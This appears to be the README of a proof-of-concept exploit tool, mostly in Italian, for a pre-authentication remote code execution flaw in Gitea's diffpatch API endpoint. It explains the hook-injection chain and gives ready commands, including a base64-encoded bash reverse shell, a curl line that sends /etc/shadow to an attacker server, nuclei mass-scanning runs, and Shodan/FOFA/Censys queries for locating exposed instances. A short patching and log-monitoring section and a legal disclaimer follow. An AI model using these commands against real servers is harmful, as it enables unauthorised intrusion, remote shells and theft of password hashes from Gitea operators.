
CVE-2026-60004 Exploit RCE pre-autenticazione — Gitea <= 1.27.0 iniezione di hook git diffpatch (CVSS 9.8)
┌──────────────────────────────────────────────────────────────┐
│ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 (CRIT) │
│ diffpatch → git hook injection │ v1.17–1.27.0 affected │
└──────────────────────────────────────────────────────────────┘
| Attributo | Dettaglio |
|---|---|
| ID CVE | CVE-2026-60004 |
| Punteggio CVSS | 9.8 (Critico) |
| CWE | CWE-94 (Iniezione di codice) |
| Versioni vulnerabili | Gitea dalla 1.17 alla 1.27.0 |
| Versione corretta | Gitea 1.27.1 (rilasciata il 27 luglio 2026) |
| Endpoint vulnerabile | POST /api/v1/repos/{owner}/{repo}/diffpatch |
| Scoperto da | Shai Rod (NightRang3r) |
| Punteggio EPSS | 0.95 (95% di probabilità di sfruttamento) |
La vulnerabilità sfrutta il modo in cui l'endpoint API diffpatch di Gitea elabora le patch Git fornite dall'utente:
Trappola del clone bare — L'endpoint crea un clone temporaneo bare (senza working tree), il che significa che la sua directory radice è $GIT_DIR.
Elaborazione della patch — git apply viene invocato con i flag: --index, --recount, --cached, --binary e (con Git ≥ 2.32) -3 per il fallback della merge a tre vie.
Collisione add/add — Inviando due volte la stessa patch dannosa, l'attaccante innesca un conflitto add/add. Il fallback a tre vie di Git scrive su disco il percorso del file indicato nella patch, aggirando la restrizione --cached.
Iniezione di hook — L'attaccante costruisce la patch in modo che il percorso del file sia hooks/post-index-change. Poiché il clone è bare, il file finisce direttamente nella directory hooks di Git.
Esecuzione del codice — Quando Git aggiorna l'indice, esegue automaticamente l'hook post-index-change, lanciando i comandi shell dell'attaccante con .
Attacker Gitea Server
│ │
├─ POST /user/sign_up ────────────────►│ Register new user
│ │
├─ POST /api/v1/user/repos ───────────►│ Create private repo (auto-init)
│ │
├─ GET /api/v1/repos/.../branches ────►│ Get commit SHA
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 1st patch: plant hook
│ │ Git creates bare clone
│ │ Applies patch (--cached)
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 2nd patch: SAME PATCH
│ (same exact patch!) │ ADD/ADD COLLISION!
│ │ Git -3 fallback writes to disk
│ │ hooks/post-index-change created
│ │ Git fires post-index-change hook!
│ │ ┌─ Command executes ─┐
│ │ │ reads /etc/passwd │
│ │ │ stores in git blob │
│ │ │ creates rce-proof │
│ │ │ branch │
│ │ └────────────────────┘
│ │
├─ GET /api/v1/repos/.../raw/proof ───►│ Retrieve output
│◄─────────────────────────────────────┤ /etc/passwd contents
│ │
# Install dependencies (uses stdlib only — no pip needed!)
# Python 3.7+ required
# Quick one-liner
python3 cve-2026-60004-poc.py --url http://target --cmd "id"
# Mode 1: Full-Auto (register + create + exploit + retrieve)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto
# Mode 2: Semi-Auto (existing credentials)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode semi-auto \
--user myuser --pw 'MyPass123!'
# Mode 3: Manual (existing user + repo)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode manual \
--user myuser --pw 'MyPass123!' --repo existing-repo
# Mode 4: Check Only (non-intrusive detection)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode check
# Execute custom command
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "whoami; id; env"
# Reverse shell (base64 encoded)
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' | base64)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "echo $PAYLOAD | base64 -d | bash"
# Exfiltrate data via curl
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "curl http://your-server/$(cat /etc/shadow | base64 -w0)"
# Run against a single target
nuclei -t CVE-2026-60004.yaml -u http://target:3000
# Run against multiple targets
nuclei -t CVE-2026-60004.yaml -l targets.txt -o results.txt
# With debugging output
nuclei -t CVE-2026-60004.yaml -u http://target:3000 -debug -v
Aggiorna Gitea alla versione 1.27.1 o successiva:
# Docker
docker pull gitea/gitea:1.27.1
# Binary
wget https://dl.gitea.com/gitea/1.27.1/gitea-1.27.1-linux-amd64
Disabilita la registrazione aperta (riduce la superficie d'attacco):
# app.ini
[service]
DISABLE_REGISTRATION = true
Esegui Gitea con un account di servizio con privilegi minimi
Monitora le richieste POST ripetute all'endpoint diffpatch
# Search for diffpatch abuse in Gitea logs
grep -E "POST.*diffpatch" /var/lib/gitea/log/gitea.log
# Check for suspicious repo creation + immediate diffpatch use
grep -E "(CreateRepository|diffpatch)" /var/lib/gitea/log/gitea.log
# Shodan
http.title:"Gitea"
http.favicon.hash:5247710
# FOFA
app="Gitea"
title="Gitea"
# Censys
services.software.product:"Gitea"
Questo strumento è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati. Usalo solo contro sistemi di tua proprietà o per i quali disponi di un'esplicita autorizzazione scritta a effettuare test. L'accesso non autorizzato ai sistemi informatici è illegale e può violare:
L'autore non si assume alcuna responsabilità per l'uso improprio o per i danni causati da questo strumento.
Licenza MIT — consulta il repository EQSTLab per i dettagli.